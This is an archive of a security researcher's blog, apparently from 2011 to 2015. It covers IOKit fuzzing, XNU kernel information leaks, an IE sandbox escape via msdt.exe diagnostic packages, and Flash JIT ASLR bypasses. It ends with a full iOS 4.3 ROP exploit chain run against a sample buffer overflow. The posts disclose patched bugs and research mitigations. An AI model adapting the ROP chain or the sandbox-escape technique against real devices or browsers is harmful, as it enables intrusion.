Fermín J. Serna - Zhodiac - Vast and Infinite Net Dreams...

IOKit fuzzing, sMethods and IDA

Fermin J. Serna - Zhodiac — Mon, 06 Jul 2015 11:40:17 -0400

I was scanning through the BlackHat 2015 talks and found an IOKit fuzzing one. Nice! From the description it sounds they are doing something similar to some research I did in 2014: IOKit fuzzing and vulnerability research. IOKit fuzzing is not as trivial as it sounds. A vulnerability researcher cannot simply send raw data and expect results. There are constrains such as input buffer size and output buffer size for each Method exposed by a UserClient instance. The kernel will simply reject any request with invalid sizes. The only fuzzing way I have seen is a MiTM approach but that does not give you 100% coverage leaving a lot of bugs undiscovered. The approach I take (part of a bigger project I someday will release *or not*) uses an IDA script to find those UserClient derived vtables and with some reverse engineering the exposed methods and the input/output buffer sizes. Since we do not have symbols it is not as straightforward as it seams so I used some heuristics to detect the vtables. My script looks for references of a function that is highly unlikely to be overriden from an UserClient. This function is IOUserClient::getNotificationSemaphore(). Finding all references means we have found mainly all UserClient derived vtables. This still does not give us much since we do not know what functionality this UserClient exposes and the constrains to reach it. Then, my approach is to see if IOUserClient::externalMethod() or IOUserClient::getTargetAndMethodForIndex() got overriden. If it happened the UserClient is exposing functionality and being more specific what we are looking for: sMethod table which describes functions, sizes, etc... Now we know what to reverse and where to find sMethods. Some reversing can be automated since most of these overriden functions are very similar following Apple's guidelines... but some not. As an example, here is Apple's way of exposing sMethods via getTargetAndMethodForIndex() and via externalMethod() table. My IDA script can be found here. And the output: IOUserClient::getNotificationSemaphore at 8009c614 com.apple.iokit.IOStreamAudioFamily - IOUserClient::getTargetAndMethodFromIndex overriden (80418d58 - sub_80418D58) com.apple.driver.DiskImages - IOUserClient::getTargetAndMethodFromIndex overriden (8043e3e0 - sub_8043E3E0) com.apple.driver.FairPlayIOKit - IOUserClient::getTargetAndMethodFromIndex overriden (8045345c - sub_8045345C) com.apple.driver.LSKDIOKit - IOUserClient::getTargetAndMethodFromIndex overriden (804b7668 - sub_804B7668) com.apple.iokit.IOReporting - IOUserClient::externalMethod overriden (804d4754 - sub_804D4754) com.apple.driver.AppleARMPlatform - IOUserClient::externalMethod overriden (804df834 - sub_804DF834) com.apple.driver.AppleVXD375 - IOUserClient::externalMethod overriden (8051bf18 - sub_8051BF18) com.apple.iokit.IOAudio2Family - IOUserClient::externalMethod overriden (8056e984 - sub_8056E984) IOUserClient::getTargetAndMethodFromIndex overriden (8056ea4c - sub_8056EA4C) [...] com.apple.driver.AppleMobileFileIntegrity - IOUserClient::externalMethod overriden (807be4c0 - ) com.apple.iokit.IOUSBFamily - com.apple.iokit.IOUSBFamily - IOUserClient::externalMethod overriden (807e3d40 - sub_807E3D40) com.apple.iokit.IOUSBFamily - IOUserClient::externalMethod overriden (807e6f0c - sub_807E6F0C) com.apple.iokit.IOSurface - IOUserClient::externalMethod overriden (808239dc - sub_808239DC) com.apple.iokit.IOSurface - IOUserClient::getTargetAndMethodFromIndex overriden (80824600 - sub_80824600) com.apple.iokit.IOMobileGraphicsFamily - IOUserClient::externalMethod overriden (8082d670 - ) IOUserClient::getTargetAndMethodFromIndex overriden (8082caac - ) com.apple.driver.IODARTFamily - IOUserClient::externalMethod overriden (8083fdd0 - sub_8083FDD0) com.apple.driver.AppleM2ScalerCSC - IOUserClient::getTargetAndMethodFromIndex overriden (8084c2c4 - sub_8084C2C4) Fermin J. Serna - @fjserna

XNU Kernel stack and heap information leaks

Fermin J. Serna - Zhodiac — Wed, 17 Sep 2014 18:11:13 -0400

Today Apple released IOS8 and then credited a lot of vulnerability researchers for fixed bugs. Find more information at http://support.apple.com/kb/HT6441 Here I am going to present details of 4 of them where I was credited: CVE-2014-4371, CVE-2014-4419, CVE-2014-4420 and CVE-2014-4421. As weird as it sounds, I found them on a plane reading the XNU kernel code :S One of those is a "kernel stack content information leak" and was confirmed on latest version of MacOSX and IOS at the time I reported to Apple (May 8th 2014). PoC here: ntstat-x.c $ ./ntstat_x Leaked 4 bytes at the kernel stack: 0xd5d38dfd $ The problem resides at the very end of the file http://www.opensource.apple.com/source/xnu/xnu-2050.48.11/bsd/net/ntstat.c. When going back to user mode you do not clear the err.hr.pad field leaving it with the original stack contents. if (result != 0) { struct nstat_msg_error err; err.hdr.type = NSTAT_MSG_TYPE_ERROR; err.hdr.context = hdr->context; err.error = result; result = ctl_enqueuedata(kctl, unit, &err, sizeof(err), CTL_DATA_EOR); } Fix should be to zero out the entire structure before setting fields and returning from kernel mode. The other three instances of this info leak lead to another two kernel stack info leak and a more interesting heap info leak. I am pretty sure the last one can be used to leak pointers to the kernel and bypass K-ASLR. Stack content leak: nstat_control_send_counts Heap content leak: nstat_control_send_description Stack content leak: nstat_control_send_removed Fermin J. Serna - @fjserna

CVE-2013-3186 - The case of a one click sandbox escape on IE

Fermin J. Serna - Zhodiac — Wed, 21 Aug 2013 13:26:54 -0400

MSFT security updates for August 2013 contained a fix for a vulnerability I reported to MSRC some time ago. Behind a some kind cryptic title of "Internet Explorer Process Integrity Level Assignment Vulnerability " hides a 1 click sandbox escape (CVE-2013-3186). Some context before the vulnerability. IE sandbox, called protected mode, is based on integrity levels where the renderer (where JS runs among other things) runs as Low Integrity level and the main frame runs as Medium Integrity level. They talk to each other through a broker RPC/pipe interface. A process running under Low IL can read almost anything in the system (ACL allowing) but can write to very few locations (TempLow for example). Basically protected mode is tackling the persistance problem of malware exploiting a security vulnerability at the Low IL process. Find more about integrity levels and IE protected mode here. Then we have the concept of ElevationPolicy which basically is a list of pairs (program & elevation policy) at the registry (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy). These are the supported values: 3 - Protected Mode silently launches the broker as a medium integrity process. 2 - Protected Mode prompts the user for permission to launch the process. If permission is granted, the process is launched as a medium integrity process. 1 - Protected Mode silently launches the broker as a low integrity process. 0 - Protected Mode prevents the process from launching. Basically, if there is an item there with ElevationPolicy 3 the broker will execute that program as Medium IL if requested. And this is the case for msdt.exe. Funny thing is that CreateProcess() has a hook inside the LowIL IE process and if you try to CreateProcess("msdt.exe") it will get brokered to the IE Medium IL one and applied the Elevation policy there. Some sanitization happens to most of the parameters for security reasons (do not create a Medium IL process where the process token is too unrestricted, ...) The vulnerability here is that msdt.exe (that due to its elevation policy will run as medium IL outside of any sandbox) has some interesting command line options. Concretely this one: /path directory | .diagpkg file | .diagcfg file ---- Specifies the full path to a diagnostic package. If you specify a directory, the directory must contain a diagnostic package. You cannot use the /path parameter in conjunction with the /id, /dci, or /cab parameter. This diagpkg is basically a troubleshooting cab/zip file composed of powershell scripts. msdt.exe initially will show an initial dialog with attacker controlled strings from the cab file (hello social engineering) and once the user clicks the continue button one of the attacker controlled powershell scripts will get executed (again as medium). Voila, sandbox escaped... Couple of things worth mentioning:

Cab file has to be signed, but this just costs a couple of hundred dollars.
After the fix ElevationPolicy is still 3 for msdt.exe and I was told the fix is in the broker... but I have not checked

Fermin J. Serna - @fjserna

Flash JIT - Spraying ROP info leak gadgets

Fermin J. Serna - Zhodiac — Fri, 19 Jul 2013 17:56:17 -0400

Long time no see... again! Back in Fall/2012 I did some research on Flash JIT code generation. This research and lack of constant blinding resulted on the following paper (including Win7/IE9 exploit code for CVE-2012-4787) where Flash could be used for ASLR bypass on IE by spraying ROP info leak gadgets. Document: http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets.pdf Exploit code: http://zhodiac.hispahack.com/my-stuff/security/Flash_Jit_InfoLeak_Gadgets/ I just found today (without notification from Adobe) that Flash 11.8 implements JIT constant blinding. So consider this technique gone but older versions may still be used for info leak purposes. :) Fermin J. Serna - @fjserna

LLVM patch: VTXor

Fermin J. Serna - Zhodiac — Mon, 11 Mar 2013 21:17:01 -0400

Long time no posts... In this one I want to introduce something I developed for LLVM some months ago: VTXor. Digging on a compiler is always fun, challenging but time consuming. I could never finish it since still requires a lot of code digging at LLVM. I guess I did the most challenging part (understanding and modifying the code emission) but I left all the other boring ones (annotations, command line options, ...). So here it is in case anyone wants to finish the boring part and make the internet a safer place. Ha! VTxor is a security mitigation (not perfect as I will explain later) making harder to exploit vulnerabilities that take advantage of attacker controlled virtual function table pointers. It is cool because: - It supports 32 bit and 64 bit architectures - It should support (although not tested) anything LLVM is able to generate code for... so ARM and other friends too. - Supports -fPIC an non -fPIC compilations - Makes exploitation more challenging and that is always fun Some limitations I am aware of: - In 32 bits compilations it is not effective due to heap spraying. Long story... I will let the reader figure it out :) But still... 64 bit with proper dispersion of virtual pages should make exploitation harder - You need to compile the entire program and libraries with this in order to prevent virtual function calls using the encoded pointer. Disassembly is better than words. So here it is how VTXor works. The following code is generated when an object gets allocated and the virtual function table pointer is set. Please note because of -fPIC it will be tough to see wehre the VTxor cookie comes from. (gdb) disass _ZN4baseC2Ev Dump of assembler code for function _ZN4baseC2Ev: 0x08048a60 <+0>: push eax 0x08048a61 <+1>: call 0x8048a66 <_ZN4baseC2Ev+6> 0x08048a66 <+6>: pop eax 0x08048a67 <+7>: add eax,0x158e 0x08048a6d <+13>: mov ecx,DWORD PTR [esp+0x8] 0x08048a71 <+17>: mov edx,DWORD PTR [eax-0xc] 0x08048a77 <+23>: add edx,0x8 0x08048a7d <+29>: mov eax,DWORD PTR [eax-0x4] 0x08048a83 <+35>: mov DWORD PTR [esp],ecx 0x08048a86 <+38>: mov ecx,DWORD PTR [esp] 0x08048a89 <+41>: xor edx,DWORD PTR [eax] <---- xor the vftable_ptr with a random vtxor cookie 0x08048a8b <+43>: mov DWORD PTR [ecx],edx <---- store it at the first dword of the object chunk 0x08048a8d <+45>: pop eax 0x08048a8e <+46>: ret End of assembler dump. (gdb) And when calling into a virtual function something like this happens: 0x0804893b <+299>: mov esi,DWORD PTR [edx] 0x0804893d <+301>: mov edi,DWORD PTR [ecx] <--- get the encoded vftable_ptr 0x0804893f <+303>: xor esi,edi <---- xor the vftable_ptr with the VTXor cookie 0x08048941 <+305>: mov DWORD PTR [esp],edx 0x08048944 <+308>: mov ebx,eax 0x08048946 <+310>: mov DWORD PTR [ebp-0x44],ecx 0x08048949 <+313>: call DWORD PTR [esi] The VTXor cookie comes from libvtxor. Concretely this function: intptr_t __vtxor_cookie; void __attribute__ ((constructor)) __vtxor_cookie_setup(void) { // Default value... if the read fails... memset(&__vtxor_cookie,0x41,sizeof(__vtxor_cookie)); int fd=open("/dev/urandom",O_RDONLY); if (fd>=0) { read(fd,&__vtxor_cookie,sizeof(__vtxor_cookie)); close(fd); } } LLVM ptatch, libvtxor code and test examples can be found here: /my-stuff/security/vtxor Feel free to hack it and potentially try to include it in llvm trunk :) Fermin J. Serna - @fjserna

BlackHat talk - Las Vegas 2012

Fermin J. Serna - Zhodiac — Thu, 26 Jul 2012 10:53:54 -0400

After a good talk with good feedback here is the deck I used and the video demo of win7/IE9 getting pwned. BH-Vegas-2012-The_info_leak_era.ppt [Youtube] Demo on Win7/IE9 getting pwned If you are around in Las Vegas these days and want to talk about exploits, ping me for a beer. Enjoy! Fermin J. Serna - @fjserna

SummerCon 2012 slides

Fermin J. Serna - Zhodiac — Sat, 14 Jul 2012 10:17:32 -0400

I cannot recommend enough SummerCon... if you have not ever gone you should start making plans for next years one. Staff, quality of talks, people, size ... one of the best ones right now. Here is the deck I used for my talk: SummerCon_2012_CVE-2012-0769.pdf As I promised to my friend Chris Valasek it contains some new details of CVE-2012-0769 (not published before) on how the exploitation could happen on MacOS X. Also, the description of two vulnerabilities I found couple of months ago in the Flash broker process that could lead to sandbox escape on Chrome. Enjoy! Fermin J. Serna - @fjserna

CVE-2012-0769: the case of the perfect info leak

Fermin J. Serna - Zhodiac — Mon, 09 Apr 2012 10:44:27 -0400

During the last few months I have been researching Adobe Flash vulnerabilities ranging from type confusion vulnerabilities, AS3 API vulnerabilities (CVE-2012-0769), sandbox escapes (CVE-2012-0724 & CVE-2012-0725), etc. I am pleased to announce the release of part of this research. In this case, the below linked document will focus on an already patched (https://www.adobe.com/support/security/bulletins/apsb12-05.html) vulnerability. "CVE-2012-0769, the case of the perfect info leak" goes in detail from root cause analysis to a fully reliable, quick and multi-platform exploitation of the vulnerability. Document: Flash_ASLR_bypass.pdf Source code: InfoLeak.as SWF file: InfoLeak.swf Enjoy, Fermin J. Serna - @fjserna

The cools kid way of finding the use-after-free block size...

Fermin J. Serna - Zhodiac — Tue, 03 Jan 2012 06:09:00 +0100

Lets say you have found a use-after-free on program X where at some point it is dereferencing a register plus an offset. You could: 1) Open IDA an lookup where the object got created to see the size of the allocation. 2) Use page heap, windbg and take a look to the allocation stack trace 3) Windbg !heap -p -a Or... a quick trick I used today, taking advantage of page heap placing the object at the end of a page for catching buffer overflows. 1:022:x86> ? 0x1000-(ebx&0x00000FFF) Evaluate expression: 88 = 00000058 <--- size of chunk 1:022:x86> Fermin J. Serna - @fjserna

IOS dyld only ROP

Fermin J. Serna - Zhodiac — Wed, 25 May 2011 18:42:06 +0200

As you may know 4.3 IOS introduced ASLR so the old tricks of using directly gadgets and functions from any module are no longer valid. Today, while talking to @i0n1c and @thegrugq on twitter we started to discuss rop-only shellcodes using dyld only gadgets. I did the following some months ago (February-2011 IIRC), on 4.3beta2 and this is not useful without an exploit so no real risk for users. The idea is to use dyld!dlsym() to resolve the functions needed and patch the ROP with write4 gadgets. Please note I do not use dyld!dlopen() but instead I use fixed return values for several modules. The below code is the exploitation of a sample buffer overflow that you need to compile (without PIE) and upload to a test IOS device. Again, it will only work on 4.3beta2 but can be easily updated. This ROP will basically make the phone vibrate and exit. Nothing fancy... but just to demonstrate the technique. This will work if you: 1) Have a market app not compiled with PIE (dyld and main binary will not be randomized). This example code. 2) You have an info leak of dyld (need to update the addresses of this ROP)

#define ROP_POP_R4R5R6R7PC          0x2FE01295 // +1
#define ROP_POP_R1R2R3R4R6R7PC      0x2FE1A8E9 // +1
#define ROP_MOV_ROR4_POP_R4R5R6R7PC 0x2FE07437 // +1
#define ROP_BLX_R4_POP_R4R7PC       0x2FE19BAF // +1
#define ROP_STR_ROR4_POP_R4R7PC     0x2FE017BB // +1
 
#define FUNC_DLSYM                  0x2fe07e79 // +1
 
#define DLOPEN_LIBSYSTEM            0x2fe28cc8
#define DLOPEN_AUDIOTOOLBOX         0x2fe29cb4
 
       memset(buffer2,0,sizeof(buffer2));
 
       ch_ptr=buffer2;
       memset(ch_ptr,0x41,64+12);
       ch_ptr+=64+12;
 
       ul_ptr=(unsigned long *)ch_ptr;
 
       base_address=(unsigned long)&buffer+64+12;
 
       //*(ul_ptr++)=0xFDFDFDFD;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_AUDIOTOOLBOX; // arg0: dlopen ret value for AudioToolbox (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long));  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+(37*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x3ea ;       // arg0: sound
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // AudioServicesPlaySystemSound ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       /////-------------------------------------------------------------------
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=DLOPEN_LIBSYSTEM; // arg0: dlopen ret value for libSystem.B.dylib (iphone4.3beta2 iphone4)
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=base_address+(87*sizeof(unsigned long)+strlen("AudioServicesPlaySystemSound")+1);  // arg1: function name
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=FUNC_DLSYM;   // __dlsym address
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC; // Resolve API
 
       *(ul_ptr++)=base_address+((44+36)*sizeof(unsigned long));;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_STR_ROR4_POP_R4R7PC; // Store API ptr where it is used...
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x00000000;       // arg0: exit code
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_MOV_ROR4_POP_R4R5R6R7PC;
 
       // r4, r5, r6, r7, pc
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x55555555;
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_POP_R1R2R3R4R6R7PC;
 
       // r1, r2, r3, r4, r6, r7, pc
       *(ul_ptr++)=0x11111111;
       *(ul_ptr++)=0x22222222;
       *(ul_ptr++)=0x33333333;
       *(ul_ptr++)=0xFFFFFFFF;  // exit ptr
       *(ul_ptr++)=0x66666666;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=ROP_BLX_R4_POP_R4R7PC;
 
       *(ul_ptr++)=0x44444444;
       *(ul_ptr++)=0x77777777;
       *(ul_ptr++)=0xDEADDEAD;
 
 
       // copy API names at the end
       ch_ptr=(char *)ul_ptr;
       strcpy(ch_ptr,"AudioServicesPlaySystemSound");
       ch_ptr+=strlen("AudioServicesPlaySystemSound")+1;
 
       strcpy(ch_ptr,"exit");
       ch_ptr+=strlen("exit")+1;

Fermin J. Serna - @fjserna